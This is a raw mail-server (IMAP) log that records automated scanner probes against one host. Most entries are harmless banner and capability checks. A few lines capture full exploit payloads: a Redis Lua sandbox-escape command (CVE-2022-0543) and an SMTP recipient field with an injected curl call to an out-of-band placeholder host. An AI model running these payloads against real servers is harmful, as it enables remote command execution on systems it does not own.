21 0 26-09-11 16:25:47 71.6.241.126 IMAP-IN - - 85.215.251.124 4228 UNKN 'local+io_l+=+package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",+"luaopen_io");+local+io+=+io_l();+local+f+=+io.popen("echo+FIRE-CVE-2022-0543-CONFIRMED",+"r");+local+res+=+f:read("*a");+f:close();+return+res'+0 eval+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 227 0 26-09-11 16:26:38 71.6.241.126 IMAP-IN - - 85.215.251.124 4732 UNKN - PING WIN-RBUO1FA4VBJ 28 6 0 26-09-11 16:26:38 71.6.241.126 IMAP-IN - - 85.215.251.124 4732 UNKN server INFO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 13 0 26-09-11 16:34:08 71.6.241.126 IMAP-IN - - 85.215.251.124 4484 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 92 0 26-09-11 16:34:08 71.6.241.126 IMAP-IN - - 85.215.251.124 4484 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 16:34:08 71.6.241.126 IMAP-IN - - 85.215.251.124 4484 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 16:44:34 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN - SSH-2.0-Go WIN-RBUO1FA4VBJ 34 12 0 26-09-11 17:02:35 71.6.241.126 IMAP-IN - - 85.215.251.124 4740 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN 1632cd1c-1fc5-4dc5-ba63-5dd49263c2ba Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 17:08:13 71.6.242.129 IMAP-IN - - 85.215.251.124 4272 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN 1632cd1c-1fc5-4dc5-ba63-5dd49263c2ba Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 17:08:14 71.6.242.129 IMAP-IN - - 85.215.251.124 3656 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN f584045f-8cc2-4e43-e212-e1c78db8ffab Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4260 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN f584045f-8cc2-4e43-e212-e1c78db8ffab Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 17:08:16 71.6.242.129 IMAP-IN - - 85.215.251.124 4836 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 17:29:34 185.242.226.17 IMAP-IN - - 85.215.251.124 4836 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 46 0 26-09-11 17:29:34 185.242.226.17 IMAP-IN - - 85.215.251.124 4836 UNKN ID A002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 0 0 26-09-11 17:29:34 185.242.226.17 IMAP-IN - - 85.215.251.124 4836 UNKN - A003 WIN-RBUO1FA4VBJ 28 0 0 26-09-11 17:29:34 185.242.226.17 IMAP-IN - - 85.215.251.124 4836 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 0 0 26-09-11 17:36:50 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-11 17:36:50 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-09-11 17:36:50 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-09-11 17:36:51 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-09-11 17:36:51 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-09-11 17:36:51 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-09-11 17:36:51 71.6.242.129 IMAP-IN - - 85.215.251.124 4064 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-09-11 17:46:23 71.6.241.126 IMAP-IN - - 85.215.251.124 5116 UNKN - SSH-2.0-Go WIN-RBUO1FA4VBJ 34 12 0 26-09-11 18:16:18 71.6.242.129 IMAP-IN - - 85.215.251.124 3304 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN 4bb192d2-9ec3-46bd-f0e0-03f93261233a Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 18:18:29 71.6.241.126 IMAP-IN - - 85.215.251.124 3240 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN 4bb192d2-9ec3-46bd-f0e0-03f93261233a Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 18:18:30 71.6.241.126 IMAP-IN - - 85.215.251.124 5000 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN 86f0553e-674c-4969-f37c-8769516a3dc2 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3736 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN 86f0553e-674c-4969-f37c-8769516a3dc2 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 18:18:32 71.6.241.126 IMAP-IN - - 85.215.251.124 3564 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 18:35:40 71.6.242.129 IMAP-IN - - 85.215.251.124 5056 UNKN - INFO WIN-RBUO1FA4VBJ 28 6 0 26-09-11 18:55:10 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-11 18:55:10 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-09-11 18:55:10 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-09-11 18:55:11 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-09-11 18:55:11 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-09-11 18:55:11 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-09-11 18:55:11 71.6.241.126 IMAP-IN - - 85.215.251.124 4720 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 203 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN http://85.215.251.124:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-11 19:04:52 71.6.242.129 IMAP-IN - - 85.215.251.124 3012 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 19:45:51 71.6.241.126 IMAP-IN - - 85.215.251.124 4992 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-09-11 20:10:05 71.6.241.126 IMAP-IN - - 85.215.251.124 4176 UNKN - INFO WIN-RBUO1FA4VBJ 28 6 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 229 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN http://ip85-215-251-124.pbiaas.com:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-11 20:47:12 71.6.241.126 IMAP-IN - - 85.215.251.124 4952 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 21:38:30 66.132.195.40 IMAP-IN - - 85.215.251.124 3260 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-11 21:45:01 71.6.146.130 IMAP-IN - - 85.215.251.124 4764 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-09-11 21:45:01 71.6.146.130 IMAP-IN - - 85.215.251.124 4764 CAPABILITY capability *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-11 21:45:02 71.6.146.130 IMAP-IN - - 85.215.251.124 4764 UNKN id+nil A002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 13 0 26-09-11 21:45:02 71.6.146.130 IMAP-IN - - 85.215.251.124 4764 UNKN unknowncmd A003+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 17 16 26-09-11 21:45:02 71.6.146.130 IMAP-IN - - 85.215.251.124 4764 LOGOUT logout *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 13 0 26-09-11 23:19:41 185.180.141.45 IMAP-IN - - 85.215.251.124 3348 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-09-11 23:19:41 185.180.141.45 IMAP-IN - - 85.215.251.124 3348 UNKN ID+NIL FJGD1+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 14 0 26-09-11 23:19:41 185.180.141.45 IMAP-IN - - 85.215.251.124 3348 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 74 14 16 26-09-11 23:19:42 185.180.141.42 IMAP-IN - - 85.215.251.124 3204 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-09-11 23:19:42 185.180.141.42 IMAP-IN - - 85.215.251.124 3204 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 13 0 26-09-12 00:43:13 205.210.31.195 IMAP-IN - - 85.215.251.124 4684 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0